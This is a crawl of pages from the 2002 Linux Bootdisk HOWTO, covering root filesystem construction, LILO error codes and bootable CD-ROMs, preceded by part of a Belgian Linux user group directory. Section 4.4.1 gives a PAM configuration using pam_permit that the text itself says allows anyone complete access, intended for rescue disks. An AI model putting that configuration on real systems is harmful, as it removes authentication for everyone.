Louvain-la-neuve Linux User Group
Place des paniers 5/014
B-1348 Louvain-La-neuve

Phone

+32 (0)10 454 761

Email

<lln@udev.org>

Web

http://lln.udev.org/

Contact

Benjamin Henrion <benjamin.henrion@linuxbe.org>

4.17. Mons LUG [MONS]

Email

<stephane.wirtel@belgacom.net>

Web

http://mons.linuxbe.org/

4.18. Namur LUG [NAMUR]

Email

<info@namurlug.org>

Web

http://namurlug.org/

4.19. Open Source Blanc Blue Belge - OS3B [CHARLEROI]

Address

Rue Joseph Wauters 48
B-6043 Charleroi (Ransart)

Email

<info@os3b.org>

Web

http://www.os3b.org/

Meetings

Every thursday evening and saturday afternoon.

Mailinglist

http://carolo.net/mailman/listinfo/os3b

4.20. Open Technology Assembly Linux Special Interest Group [BRUSSELS]

Address

Kruipstraat 14
B-1850 Grimbergen

Phone

+32 (0)11 275 898

Fax

+32 (0)11 270 389

Email

<info@ota.be>

Web

http://www.ota.be/

Contact

Jan Vanhercke <jan.vanhercke@c-cure.be>

4.21. PC Aktief Computerclub [SINT-NIKLAAS]

Address

PC Aktief Computerclub

Web

http://www.pcaktief.be/

Meetings

Fourth tuesday every month in 't Hoveken van Belsele, Nieuwe Baan 130, B-9111 Belsele (Sint-Niklaas)

Contact

Johan De Baere <debaerej@hotmail.com>

4.22. Student Information Networking - SIN [GEEL]

Address

Kleinhoefstraat 4
B-2440 Geel

Email

<sin@sin.khk.be>

Web

http://www.sin.khk.be/

4.23. There Is No Alternative - TINA [ANTWERP]

Contact

Tina gebruikers <vraagtina@digibel.org>

Web

http://tina.kangaroot.net/

Meetings

Hof van Rieth, Molenlei 68, B-2640 Mortsel

Mailinglist

<mailinglist@tina.kangaroot.net>

4.24. Unix Lovers Yield Student Services & Internet Support - ULYSSIS [LEUVEN]

Address

Holleberg
Schapenstraat 37, lokaal 91 97
B-3000 Leuven

Mail-address

Residentie Vinckenbosch
Parkstraat 137-139, flat 305
B-3000 Leuven

Email

<ulyssis@ulyssis.org>

Web

http://www.ulyssis.org/

Extra

Only for KULeuven students and KULeuven personnel

4.25. West-Vlaamse Linux User Group - Lug-WV [BRUGGE]

Email

<info@lugwv.be>

Web

http://www.lugwv.be/

4.26. Workgroup of Linux Fanatics - WOLF [MECHELEN]

Email

<TeeCee@WOLF-Mechelen.be>

Web

http://www.wolf-mechelen.be/

4.27. Zeus WPI - Werkgroep Informatica RUG [GENT]

Address

Krijgslaan 281 S9
B-9000 Gent

Phone

+32 (0)9 264 47 51

Email

<info@zeus.rug.ac.be>

Web

http://www.zeus.rug.ac.be/

Comment

Restricted to RUG students

Prev | Home | Next
Belgian ISP information |  | Belgian Linux businesses


Resources and pointers

The Linux Bootdisk HOWTO
Prev Next

A. Resources and pointers

When retrieving a package, always get the latest version unless you have good reasons for not doing so.

Prev | Home | Next
Frequently Asked Question (FAQ) list |  | Pre-made Bootdisks


LILO boot error codes

The Linux Bootdisk HOWTO
Prev Next

B. LILO boot error codes

Questions about these codes are asked so often on Usenet that we include them here as a public service. This summary is excerpted from Werner Almsberger's LILO User Documentation.

When LILO loads itself, it displays the word LILO. Each letter is printed before or after performing some specific action. If LILO fails at some point, the letters printed so far can be used to identify the problem.

Output | Problem
(nothing) | No part of LILO has been loaded. LILO either isn't installed or the partition on which its boot sector is located isn't active.
L | The first stage boot loader has been loaded and started, but it can't load the second stage boot loader. The two-digit error codes indicate the type of problem. (See also section ``Disk error codes''.) This condition usually indicates a media failure or a geometry mismatch (e.g. bad disk parameters).
LI | The first stage boot loader was able to load the second stage boot loader, but has failed to execute it. This can either be caused by a geometry mismatch or by moving /boot/boot.b without running the map installer.
LIL | The second stage boot loader has been started, but it can't load the descriptor table from the map file. This is typically caused by a media failure or by a geometry mismatch.
LIL? | The second stage boot loader has been loaded at an incorrect address. This is typically caused by a subtle geometry mismatch or by moving /boot/boot.b without running the map installer.
LIL- | The descriptor table is corrupt. This can either be caused by a geometry mismatch or by moving /boot/map without running the map installer.
LILO | All parts of LILO have been successfully loaded.

If the BIOS signals an error when LILO is trying to load a boot image, the respective error code is displayed. These codes range from 0x00 through 0xbb. See the LILO User Guide for an explanation of these.

Prev | Home | Next
The Linux boot process |  | Sample root filesystem listings


Building a root filesystem

The Linux Bootdisk HOWTO
Prev Next

4. Building a root filesystem

Creating the root filesystem involves selecting files necessary for the system to run. In this section we describe how to build a compressed root filesystem. A less common option is to build an uncompressed filesystem on a diskette that is directly mounted as root; this alternative is described in Section 9.1.

4.1. Overview

A root filesystem must contain everything needed to support a full Linux system. To be able to do this, the disk must include the minimum requirements for a Linux system:

  • The basic file system structure,

  • Minimum set of directories: /dev, /proc, /bin, /etc, /lib, /usr, /tmp,

  • Basic set of utilities: sh, ls, cp, mv, etc.,

  • Minimum set of config files: rc, inittab, fstab, etc.,

  • Devices: /dev/hd*, /dev/tty*, /dev/fd0, etc.,

  • Runtime library to provide basic functions used by utilities.

Of course, any system only becomes useful when you can run something on it, and a root diskette usually only becomes useful when you can do something like:

  • Check a file system on another drive, for example to check your root file system on your hard drive, you need to be able to boot Linux from another drive, as you can with a root diskette system. Then you can run fsck on your original root drive while it is not mounted.

  • Restore all or part of your original root drive from backup using archive and compression utilities such as cpio, tar, gzip and ftape.

We describe how to build a compressed filesystem, so called because it is compressed on disk and, when booted, is uncompressed onto a ramdisk. With a compressed filesystem you can fit many files (approximately six megabytes) onto a standard 1440K diskette. Because the filesystem is much larger than a diskette, it cannot be built on the diskette. We have to build it elsewhere, compress it, then copy it to the diskette.

4.2. Creating the filesystem

In order to build such a root filesystem, you need a spare device that is large enough to hold all the files before compression. You will need a device capable of holding about four megabytes. There are several choices:

  • Use a ramdisk (DEVICE = /dev/ram0). In this case, memory is used to simulate a disk drive. The ramdisk must be large enough to hold a filesystem of the appropriate size. If you use LILO, check your configuration file (/etc/lilo.conf) for a line like RAMDISK = nnn which determines the maximum RAM that can be allocated to a ramdisk. The default is 4096K, which should be sufficient. You should probably not try to use such a ramdisk on a machine with less than 8MB of RAM. Check to make sure you have a device like /dev/ram0, /dev/ram or /dev/ramdisk. If not, create /dev/ram0 with mknod (major number 1, minor 0).

  • If you have an unused hard disk partition that is large enough (several megabytes), this is acceptable.

  • Use a loopback device, which allows a disk file to be treated as a device. Using a loopback device you can create a three megabyte file on your hard disk and build the filesystem on it.

    Type man losetup for instructions on using loopback devices. If you don't have losetup, you can get it along with compatible versions of mount and unmount from the util-linux package in the directory ftp://ftp.win.tue.nl/pub/linux/utils/util-linux/.

    If you do not have a loop device (/dev/loop0, /dev/loop1, etc.) on your system, you will have to create one with ``mknod /dev/loop0 b 7 0''. Once you've installed these special mount and umount binaries, create a temporary file on a hard disk with enough capacity (eg, /tmp/fsfile). You can use a command like:
        dd if=/dev/zero of=/tmp/fsfile bs=1k count=nnn
    to create an nnn-block file.

    Use the file name in place of DEVICE below. When you issue a mount command you must include the option -o loop to tell mount to use a loopback device.

After you've chosen one of these options, prepare the DEVICE with:
        dd if=/dev/zero of=DEVICE bs=1k count=4096

This command zeroes out the device.

Important

Zeroing the device is critical because the filesystem will be compressed later, so all unused portions should be filled with zeroes to achieve maximum compression. Keep this in mind whenever you move or delete files on the filesystem. The filesystem will correctly de-allocate the blocks, but it will not zero them out again. If you do a lot of deletions and copying, your compressed filesystem may end up much larger than necessary.

Next, create the filesystem. The Linux kernel recognizes two file system types for root disks to be automatically copied to ramdisk. These are minix and ext2, of which ext2 is preferred. If using ext2, you may find it useful to use the -N option to specify more inodes than the default; -N 2000 is suggested so that you don't run out of inodes. Alternatively, you can save on inodes by removing lots of unnecessary /dev files. mke2fs will by default create 360 inodes on a 1.44Mb diskette. I find that 120 inodes is ample on my current rescue root diskette, but if you include all the devices in /dev you will easily exceed 360. Using a compressed root filesystem allows a larger filesystem, and hence more inodes by default, but you may still need to either reduce the number of files or increase the number of inodes.

So the command you use will look like:
        mke2fs -m 0 -N 2000 DEVICE

(If you're using a loopback device, the disk file you're using should be supplied in place of this DEVICE.)

The mke2fs command will automatically detect the space available and configure itself accordingly. The ``-m 0'' parameter prevents it from reserving space for root, and hence provides more usable space on the disk.

Next, mount the device:
        mount -t ext2 DEVICE /mnt
(You must create a mount point /mnt if it does not already exist.) In the remaining sections, all destination directory names are assumed to be relative to /mnt.

4.3. Populating the filesystem

Here is a reasonable minimum set of directories for your root filesystem [1]:

  • /dev -- Device files, required to perform I/O

  • /proc -- Directory stub required by the proc filesystem

  • /etc -- System configuration files

  • /sbin -- Critical system binaries

  • /bin -- Essential binaries considered part of the system

  • /lib -- Shared libraries to provide run-time support

  • /mnt -- A mount point for maintenance on other disks

  • /usr -- Additional utilities and applications

Three of these directories will be empty on the root filesystem, so they only need to be created with mkdir. The /proc directory is basically a stub under which the proc filesystem is placed. The directories /mnt and /usr are only mount points for use after the boot/root system is running. Hence again, these directories only need to be created.

The remaining four directories are described in the following sections.

4.3.1. /dev

A /dev directory containing a special file for all devices to be used by the system is mandatory for any Linux system. The directory itself is a normal directory, and can be created with mkdir in the normal way. The device special files, however, must be created in a special way, using the mknod command.

There is a shortcut, though — copy devices files from your existing hard disk /dev directory. The only requirement is that you copy the device special files using -R option. This will copy the directory without attempting to copy the contents of the files. Be sure to use an upper case R. For example:
        cp -dpR /dev/fd[01]* /mnt/dev
        cp -dpR /dev/tty[0-6] /mnt/dev
assuming that the diskette is mounted at /mnt. The dp switches ensure that symbolic links are copied as links, rather than using the target file, and that the original file attributes are preserved, thus preserving ownership information.

If you want to do it the hard way, use ls -l to display the major and minor device numbers for the devices you want, and create them on the diskette using mknod.

However the devices files are created, check that any special devices you need have been placed on the rescue diskette. For example, ftape uses tape devices, so you will need to copy all of these if you intend to access your floppy tape drive from the bootdisk.

Note that one inode is required for each device special file, and inodes can at times be a scarce resource, especially on diskette filesystems. You'll need to be selective about the device files you include. For example, if you do not have SCSI disks you can safely ignore /dev/sd*; if you don't intend to use serial ports you can ignore /dev/ttyS*.

If, in building your root filesystem, you get the error No space left on device but a df command shows space still available, you have probably run out of inodes. A df -i will display inode usage.

Important

Be sure to include the following files from this directory: console, kmem, mem, null, ram0 and tty1.

4.3.2. /etc

The /etc directory contains configuration files. What it should contain depends on what programs you intend to run. On most systems, these can be divided into three groups:

  1. Required at all times, e.g. rc, fstab, passwd.

  2. May be required, but no one is too sure.

  3. Junk that crept in.

Files which are not essential can usually be identified with the command:
        ls -ltru
This lists files in reverse order of date last accessed, so if any files are not being accessed, they can be omitted from a root diskette.

On my root diskettes, I have the number of config files down to 15. This reduces my work to dealing with three sets of files:

  1. The ones I must configure for a boot/root system:

    1. rc.d/* -- system startup and run level change scripts

    2. fstab -- list of file systems to be mounted

    3. inittab -- parameters for the init process, the first process started at boot time.

    4. gettydefs -- parameters for the init process, the first process started at boot time.

  2. The ones I should tidy up for a boot/root system:

    1. passwd -- Critical list of users, home directories, etc.

    2. group -- user groups.

    3. shadow -- passwords of users. You may not have this.

    4. termcap -- the terminal capability database.

    If security is important, passwd and shadow should be pruned to avoid copying user passwords off the system, and so that unwanted logins are rejected when you boot from diskette.

    Be sure that passwd contains at least root. If you intend other users to login, be sure their home directories and shells exist.

    termcap, the terminal database, is typically several hundred kilobytes. The version on your boot/root diskette should be pruned down to contain only the terminal(s) you use, which is usually just the linux or linux-console entry.

  3. The rest. They work at the moment, so I leave them alone.

Out of this, I only really have to configure two files, and what they should contain is surprisingly small.

  • rc should contain:
            #!/bin/sh
        /bin/mount -av
        /bin/hostname Kangaroo
    Be sure it is executable, be sure it has a "#!" line at the top, and be sure any absolute filenames are correct. You don't really need to run hostname — it just looks nicer if you do.

  • fstab should contain at least:
            /dev/ram0       /               ext2    defaults
        /dev/fd0        /               ext2    defaults
        /proc           /proc           proc    defaults
    You can copy entries from your existing fstab, but you should not automatically mount any of your hard disk partitions; use the noauto keyword with them. Your hard disk may be damaged or dead when the bootdisk is used.

Your inittab should be changed so that its sysinit line runs rc or whatever basic boot script will be used. Also, if you want to ensure that users on serial ports cannot login, comment out all the entries for getty which include a ttys or ttyS device at the end of the line. Leave in the tty ports so that you can login at the console.

A minimal inittab file looks like this:
        id:2:initdefault:
        si::sysinit:/etc/rc
        1:2345:respawn:/sbin/getty 9600 tty1
        2:23:respawn:/sbin/getty 9600 tty2
The inittab file defines what the system will run in various states including startup, move to multi-user mode, etc. Check carefully the filenames mentioned in inittab; if init cannot find the program mentioned the bootdisk will hang, and you may not even get an error message.

Note that some programs cannot be moved elsewhere because other programs have hardcoded their locations. For example, on my system, /etc/shutdown has hardcoded in it /etc/reboot. If I move reboot to /bin/reboot, and then issue a shutdown command, it will fail because it cannot find the reboot file.

For the rest, just copy all the text files in your /etc directory, plus all the executables in your /etc directory that you cannot be sure you do not need. As a guide, consult the sample listing in Appendix C. Probably it will suffice to copy only those files, but systems differ a great deal, so you cannot be sure that the same set of files on your system is equivalent to the files in the list. The only sure method is to start with inittab and work out what is required.

Most systems now use an /etc/rc.d/ directory containing shell scripts for different run levels. The minimum is a single rc script, but it may be simpler just to copy inittab and the /etc/rc.d directory from your existing system, and prune the shell scripts in the rc.d directory to remove processing not relevent to a diskette system environment.

4.3.3. /bin and /sbin

The /bin directory is a convenient place for extra utilities you need to perform basic operations, utilities such as ls, mv, cat and dd. See Appendix C for an example list of files that go in a /bin and /sbin directories. It does not include any of the utilities required to restore from backup, such as cpio, tar and gzip. That is because I place these on a separate utility diskette, to save space on the boot/root diskette. Once the boot/root diskette is booted, it is copied to the ramdisk leaving the diskette drive free to mount another diskette, the utility diskette. I usually mount this as /usr.

Creation of a utility diskette is described below in Section 9.2. It is probably desirable to maintain a copy of the same version of backup utilities used to write the backups so you don't waste time trying to install versions that cannot read your backup tapes.

Important

Be sure to include the following programs: init, getty or equivalent, login, mount, some shell capable of running your rc scripts, a link from sh to the shell.

4.3.4. /lib

In /lib you place necessary shared libraries and loaders. If the necessary libraries are not found in your /lib directory then the system will be unable to boot. If you're lucky you may see an error message telling you why.

Nearly every program requires at least the libc library, libc.so.N, where N is the current version number. Check your /lib directory. The file libc.so.N is usually a symlink to a filename with a complete version number:

% ls -l /lib/libc*
-rwxr-xr-x   1 root     root      4016683 Apr 16 18:48 libc-2.1.1.so*
lrwxrwxrwx   1 root     root           13 Apr 10 12:25 libc.so.6 -> libc-2.1.1.so*

In this case, you want libc-2.1.1.so. To find other libraries you should go through all the binaries you plan to include and check their dependencies with ldd. For example:
        % ldd /sbin/mke2fs
        libext2fs.so.2 => /lib/libext2fs.so.2 (0x40014000)
        libcom_err.so.2 => /lib/libcom_err.so.2 (0x40026000)
        libuuid.so.1 => /lib/libuuid.so.1 (0x40028000)
        libc.so.6 => /lib/libc.so.6 (0x4002c000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Each file on the right-hand side is required. The file may be a symbolic link.

Note that some libraries are quite large and will not fit easily on your root filesystem. For example, the libc.so listed above is about 4 meg. You will probably need to strip libraries when copying them to your root filesystem. See Section 8 for instructions.

In /lib you must also include a loader for the libraries. The loader will be either ld.so (for A.OUT libraries, which are no longer common) or ld-linux.so (for ELF libraries). Newer versions of ldd tell you exactly which loader is needed, as in the example above, but older versions may not. If you're unsure which you need, run the file command on the library. For example:
% file /lib/libc.so.4.7.2 /lib/libc.so.5.4.33 /lib/libc-2.1.1.so
/lib/libc.so.4.7.2: Linux/i386 demand-paged executable (QMAGIC), stripped
/lib/libc.so.5.4.33: ELF 32-bit LSB shared object, Intel 80386, version 1, stripped
/lib/libc-2.1.1.so: ELF 32-bit LSB shared object, Intel 80386, version 1, not stripped
The QMAGIC indicates that 4.7.2 is for A.OUT libraries, and ELF indicates that 5.4.33 and 2.1.1 are for ELF.

Copy the specific loader(s) you need to the root filesystem you're building. Libraries and loaders should be checked carefully against the included binaries. If the kernel cannot load a necessary library, the kernel may hang with no error message.

4.4. Providing for PAM and NSS

Your system may require dynamically loaded libraries that are not visible to ldd. If you don't provide for these, you may have trouble logging in or using your bootdisk.

4.4.1. PAM (Pluggable Authentication Modules)

If your system uses PAM (Pluggable Authentication Modules), you must make some provision for it on your bootdisk. Briefly, PAM is a sophisticated modular method for authenticating users and controlling their access to services. An easy way to determine if your system uses PAM is run ldd on your login executable; if the output includes libpam.so, you need PAM.

Fortunately, security is usually of no concern with bootdisks since anyone who has physical access to a machine can usually do anything they want anyway. Therefore, you can effectively disable PAM by creating a simple /etc/pam.conf file in your root filesystem that looks like this:
OTHER   auth       optional     /lib/security/pam_permit.so
OTHER   account    optional     /lib/security/pam_permit.so
OTHER   password   optional     /lib/security/pam_permit.so
OTHER   session    optional     /lib/security/pam_permit.so
Also copy the file /lib/security/pam_permit.so to your root filesystem. This library is only about 8K so it imposes minimal overhead.

This configuration allows anyone complete access to the files and services on your machine. If you care about security on your bootdisk for some reason, you'll have to copy some or all of your hard disk's PAM setup to your root filesystem. Be sure to read the PAM documentation carefully, and copy any libraries needed in /lib/security onto your root filesystem.

You must also include /lib/libpam.so on your bootdisk. But you already know this since you ran ldd on /bin/login, which showed this dependency.

4.4.2. NSS (Name Service Switch)

If you are using glibc (aka libc6), you will have to make provisions for name services or you will not be able to login. The file /etc/nsswitch.conf controls database lookups for various servies. If you don't plan to access services from the network (eg, DNS or NIS lookups), you need only prepare a simple nsswitch.conf file that looks like this:
     passwd:     files
     shadow:     files
     group:      files
     hosts:      files
     services:   files
     networks:   files
     protocols:  files
     rpc:        files
     ethers:     files
     netmasks:   files
     bootparams: files
     automount:  files
     aliases:    files
     netgroup:   files
     publickey:  files
This specifies that every service be provided only by local files. You will also need to include /lib/libnss_files.so.X, where X is 1 for glibc 2.0 and 2 for glibc 2.1. This library will be loaded dynamically to handle the file lookups.

If you plan to access the network from your bootdisk, you may want to create a more elaborate nsswitch.conf file. See the nsswitch man page for details. You must include a file /lib/libnss_service.so.1 for each service you specify.

4.5. Modules

If you have a modular kernel, you must consider which modules you may want to load from your bootdisk after booting. You might want to include ftape and zftape modules if your backup tapes are on floppy tape, modules for SCSI devices if you have them, and possibly modules for PPP or SLIP support if you want to access the net in an emergency.

These modules may be placed in /lib/modules. You should also include insmod, rmmod and lsmod. Depending on whether you want to load modules automatically, you might also include modprobe, depmod and swapout. If you use kerneld, include it along with /etc/conf.modules.

However, the main advantage to using modules is that you can move non-critical modules to a utility disk and load them when needed, thus using less space on your root disk. If you may have to deal with many different devices, this approach is preferable to building one huge kernel with many drivers built in.

Important

In order to boot a compressed ext2 filesystem, you must have ramdisk and ext2 support built-in. They cannot be supplied as modules.

4.6. Some final details

Some system programs, such as login, complain if the file /var/run/utmp and the directory /var/log do not exist. So:

        mkdir -p /mnt/var/{log,run}
        touch /mnt/var/run/utmp

Finally, after you have set up all the libraries you need, run ldconfig to remake /etc/ld.so.cache on the root filesystem. The cache tells the loader where to find the libraries. You can do this with:
        ldconfig -r /mnt

4.7. Wrapping it up

When you have finished constructing the root filesystem, unmount it, copy it to a file and compress it:
        umount /mnt
        dd if=DEVICE bs=1k | gzip -v9 > rootfs.gz
When this finishes you will have a file rootfs.gz. This is your compressed root filesystem. You should check its size to make sure it will fit on a diskette; if it doesn't you'll have to go back and remove some files. Some suggestions for reducing root filesystem size appear in Section 8.

Notes

[1]

The directory structure presented here is for root diskette use only. Real Linux systems have a more complex and disciplined set of policies, called the Filesystem Hierarchy Standard, for determining where files should go.)

Prev | Home | Next
Bootdisks and the boot process |  | Choosing a kernel


Creating bootable CD-ROMs

The Linux Bootdisk HOWTO
Prev Next

11. Creating bootable CD-ROMs

Note

This section was contributed by Rizwan Mohammed Darwe (rizwan AT clovertechnologies dot com)

This section assumes that you are familiar with the process and workings of writing CDs in linux. Consider this to be a quick reference to include the ability to boot the CD which you will burn. The CD-Writing-HOWTO should give you an in-depth reference.

11.1. What is El Torito?

For the x86 platform, many BIOS's have begun to support bootable CDs. The patches for mkisofs is based on the standard called "El Torito". Simply put, El Torito is a specification that says how a cdrom should be formatted such that you can directly boot from it.

The "El Torito" spec says that any cdrom drive should work (SCSI or EIDE) as long as the BIOS supports El Torito. So far this has only been tested with EIDE drives because none of the SCSI controllers that has been tested so far appears to support El Torito. The motherboard definately has to support El Torito. How do you know if your motherboard supports "El Torito"? Well, the ones that support it let you choose booting from hard disk, Floppy, Network or CDROM.

11.2. How it Works

The El Torito standard works by making the CD drive appear, through BIOS calls, to be a normal floppy drive. This way you simply put any floppy size image (exactly 1440k for a 1.44 meg floppy) somewhere in the ISO filesystem. In the headers of the ISO fs you place a pointer to this image. The BIOS will then grab this image from the CD and for all purposes it acts as if it were booting from the floppy drive. This allows a working LILO boot disk, for example, to simply be used as is.

Roughly speaking, the first 1.44 (or 2.88 if supported) Mbytes of the CD-ROM contains a floppy-disk image supplied by you. This image is treated like a floppy by the BIOS and booted from. (As a consequence, while booting from this virtual floppy, your original drive A: (/dev/fd0) may not be accessible, but you can try with /dev/fd1).

11.3. How to make it work

First create a file, say "boot.img", which is an exact image of the bootable floppy-disk which you want to boot via the CD-ROM. This must be an 1.44 MB bootable floppy-disk. The command below will do this
    dd if=/dev/fd0 of=boot.img bs=10k count=144
assuming the floppy is in the A: drive.

Place this image somewhere in the hierarchy which will be the source for the iso9660 filesystem. It is a good idea to put all boot related files in their own directory ("boot/" under the root of the iso9660 fs, for example).

One caveat -- Your boot floppy must load any initial ramdisk via LILO, not the kernel ramdisk driver! This is because once the linux kernel starts up, the BIOS emulation of the CD as a floppy disk is circumvented and will fail. LILO will load the initial ramdisk using BIOS disk calls, so the emulation works as designed.

The El Torito specification requires a "boot catalog" to be created as well. This is a 2048 byte file which is of no interest except it is required. The patchwork done by the author of mkisofs will cause it to automatically create the boot catalog, but you must specify where the boot catalog will go in the iso9660 filesystem. Usually it is a good idea to put it in the same place as the boot image, and a name like boot.catalog seems appropriate.

So we have our boot image in the file boot.img, and we are going to put it in the directory boot/ under the root of the iso9660 filesystem. We will have the boot catalog go in the same directory with the name boot.catalog. The command to create the iso9660 fs in the file bootcd.iso is then:
mkisofs -r -b boot/boot.img -c boot/boot.catalog -o bootcd.iso .
The -b option specifies the boot image to be used (note the path is relative to the root of the iso9660 disk), and the -c option is for the boot catalog file. The -r option will make approptiate file ownerships and modes (see the mkisofs manpage). The "." in the end says to take the source from the current directory.

Now burn the CD with the usual cdrecord command and it is ready to boot.

11.4. Create Win9x Bootable CD-Roms

The first step is to get hold of the bootable image used by the source CD. But you cannot simply mount the CD under linux and dd the first 1440k to a floppy disk or to a file like boot.img. Instead you simply boot with the source CD-ROM.

When you boot the Win98 CD you are dropped to A: prompt which is the actual ramdisk. And D: or Z: is where all the installables are residing. By using the diskcopy command of dos copy the A: image into the actual floppy drive which is now B: The command below will do this.
diskcopy A: B:
It works just like dd. You can try booting from this newly created disk to test if the booting process is similar to that of the source CD. Then the usual dd of this floppy to a file like boot.img and then rest is as usual.

Prev | Home | Next
How the pros do it |  | Frequently Asked Question (FAQ) list


The Linux Bootdisk HOWTO

Tom Fawcett

Bootdisk-HOWTO@linuxdoc.org

Copyright © 1995-2002 by Tom Fawcett

v4.5, January 2002

This document describes how to design and build boot/root diskettes for Linux. These disks can be used as rescue disks or to test new system components. You should be reasonably familiar with system administration tasks before attempting to build a bootdisk. If you just want a rescue disk to have for emergencies, see Appendix A.1.

Table of Contents
1. Preface
1.1. Version notes
1.2. To do list
1.3. Feedback and credits
1.4. Distribution policy
2. Introduction
3. Bootdisks and the boot process
3.1. The boot process
3.2. Disk types
4. Building a root filesystem
4.1. Overview
4.2. Creating the filesystem
4.3. Populating the filesystem
4.4. Providing for PAM and NSS
4.5. Modules
4.6. Some final details
4.7. Wrapping it up
5. Choosing a kernel
6. Putting them together: Making the diskette(s)
6.1. Transferring the kernel with LILO
6.2. Transferring the kernel without LILO
6.3. Setting the ramdisk word
6.4. Transferring the root filesystem
7. Troubleshooting, or The Agony of Defeat
8. Reducing root filesystem size
8.1. Increase the diskette density
8.2. Replace common utilities with BusyBox
8.3. Use an alternate shell
8.4. Strip libraries and binaries
8.5. Move files to a utility disk
9. Miscellaneous topics
9.1. Non-ramdisk root filesystems
9.2. Building a utility disk
10. How the pros do it
11. Creating bootable CD-ROMs
11.1. What is El Torito?
11.2. How it Works
11.3. How to make it work
11.4. Create Win9x Bootable CD-Roms
12. Frequently Asked Question (FAQ) list
A. Resources and pointers
A.1. Pre-made Bootdisks
A.2. Rescue packages
A.3. LILO -- the Linux loader
A.4. Ramdisk usage
A.5. The Linux boot process
B. LILO boot error codes
C. Sample root filesystem listings
D. Sample utility disk directory listing
Next
Preface


Sample root filesystem listings

The Linux Bootdisk HOWTO
Prev Next

C. Sample root filesystem listings

/:
drwx––x––x   2 root     root         1024 Nov  1 15:39 bin
drwx––x––x   2 root     root         4096 Nov  1 15:39 dev
drwx––x––x   3 root     root         1024 Nov  1 15:39 etc
drwx––x––x   4 root     root         1024 Nov  1 15:39 lib
drwx––x––x   5 root     root         1024 Nov  1 15:39 mnt
drwx––x––x   2 root     root         1024 Nov  1 15:39 proc
drwx––x––x   2 root     root         1024 Nov  1 15:39 root
drwx––x––x   2 root     root         1024 Nov  1 15:39 sbin
drwx––x––x   2 root     root         1024 Nov  1 15:39 tmp
drwx––x––x   7 root     root         1024 Nov  1 15:39 usr
drwx––x––x   5 root     root         1024 Nov  1 15:39 var

/bin:
-rwx––x––x   1 root     root        62660 Nov  1 15:39 ash
-rwx––x––x   1 root     root         9032 Nov  1 15:39 cat
-rwx––x––x   1 root     root        10276 Nov  1 15:39 chmod
-rwx––x––x   1 root     root         9592 Nov  1 15:39 chown
-rwx––x––x   1 root     root        23124 Nov  1 15:39 cp
-rwx––x––x   1 root     root        23028 Nov  1 15:39 date
-rwx––x––x   1 root     root        14052 Nov  1 15:39 dd
-rwx––x––x   1 root     root        14144 Nov  1 15:39 df
-rwx––x––x   1 root     root        69444 Nov  1 15:39 egrep
-rwx––x––x   1 root     root          395 Nov  1 15:39 false
-rwx––x––x   1 root     root        69444 Nov  1 15:39 fgrep
-rwx––x––x   1 root     root        69444 Nov  1 15:39 grep
-rwx––x––x   3 root     root        45436 Nov  1 15:39 gunzip
-rwx––x––x   3 root     root        45436 Nov  1 15:39 gzip
-rwx––x––x   1 root     root         8008 Nov  1 15:39 hostname
-rwx––x––x   1 root     root        12736 Nov  1 15:39 ln
-rws––x––x   1 root     root        15284 Nov  1 15:39 login
-rwx––x––x   1 root     root        29308 Nov  1 15:39 ls
-rwx––x––x   1 root     root         8268 Nov  1 15:39 mkdir
-rwx––x––x   1 root     root         8920 Nov  1 15:39 mknod
-rwx––x––x   1 root     root        24836 Nov  1 15:39 more
-rws––x––x   1 root     root        37640 Nov  1 15:39 mount
-rwx––x––x   1 root     root        12240 Nov  1 15:39 mt
-rwx––x––x   1 root     root        12932 Nov  1 15:39 mv
-r-x––x––x   1 root     root        12324 Nov  1 15:39 ps
-rwx––x––x   1 root     root         5388 Nov  1 15:39 pwd
-rwx––x––x   1 root     root        10092 Nov  1 15:39 rm
lrwxrwxrwx   1 root     root            3 Nov  1 15:39 sh -> ash
-rwx––x––x   1 root     root        25296 Nov  1 15:39 stty
-rws––x––x   1 root     root        12648 Nov  1 15:39 su
-rwx––x––x   1 root     root         4444 Nov  1 15:39 sync
-rwx––x––x   1 root     root        19712 Nov  1 15:39 touch
-rwx––x––x   1 root     root          395 Nov  1 15:39 true
-rws––x––x   1 root     root        19084 Nov  1 15:39 umount
-rwx––x––x   1 root     root         5368 Nov  1 15:39 uname
-rwx––x––x   3 root     root        45436 Nov  1 15:39 zcat

/dev:
lrwxrwxrwx   1 root     root            6 Nov  1 15:39 cdrom -> cdu31a
brw–rw–r––   1 root     root      15,   0 May  5  1998 cdu31a
crw–––––––   1 root     root       4,   0 Nov  1 15:29 console
crw–rw–rw–   1 root     uucp       5,  64 Sep  9 19:46 cua0
crw–rw–rw–   1 root     uucp       5,  65 May  5  1998 cua1
crw–rw–rw–   1 root     uucp       5,  66 May  5  1998 cua2
crw–rw–rw–   1 root     uucp       5,  67 May  5  1998 cua3
brw–rw––––   1 root     floppy     2,   0 Aug  8 13:54 fd0
brw–rw––––   1 root     floppy     2,  36 Aug  8 13:54 fd0CompaQ
brw–rw––––   1 root     floppy     2,  84 Aug  8 13:55 fd0D1040
brw–rw––––   1 root     floppy     2,  88 Aug  8 13:55 fd0D1120
brw–rw––––   1 root     floppy     2,  12 Aug  8 13:54 fd0D360
brw–rw––––   1 root     floppy     2,  16 Aug  8 13:54 fd0D720
brw–rw––––   1 root     floppy     2, 120 Aug  8 13:55 fd0D800
brw–rw––––   1 root     floppy     2,  32 Aug  8 13:54 fd0E2880
brw–rw––––   1 root     floppy     2, 104 Aug  8 13:55 fd0E3200
brw–rw––––   1 root     floppy     2, 108 Aug  8 13:55 fd0E3520
brw–rw––––   1 root     floppy     2, 112 Aug  8 13:55 fd0E3840
brw–rw––––   1 root     floppy     2,  28 Aug  8 13:54 fd0H1440
brw–rw––––   1 root     floppy     2, 124 Aug  8 13:55 fd0H1600
brw–rw––––   1 root     floppy     2,  44 Aug  8 13:55 fd0H1680
brw–rw––––   1 root     floppy     2,  60 Aug  8 13:55 fd0H1722
brw–rw––––   1 root     floppy     2,  76 Aug  8 13:55 fd0H1743
brw–rw––––   1 root     floppy     2,  96 Aug  8 13:55 fd0H1760
brw–rw––––   1 root     floppy     2, 116 Aug  8 13:55 fd0H1840
brw–rw––––   1 root     floppy     2, 100 Aug  8 13:55 fd0H1920
lrwxrwxrwx   1 root     root            7 Nov  1 15:39 fd0H360 –> fd0D360
lrwxrwxrwx   1 root     root            7 Nov  1 15:39 fd0H720 –> fd0D720
brw–rw––––   1 root     floppy     2,  52 Aug  8 13:55 fd0H820
brw–rw––––   1 root     floppy     2,  68 Aug  8 13:55 fd0H830
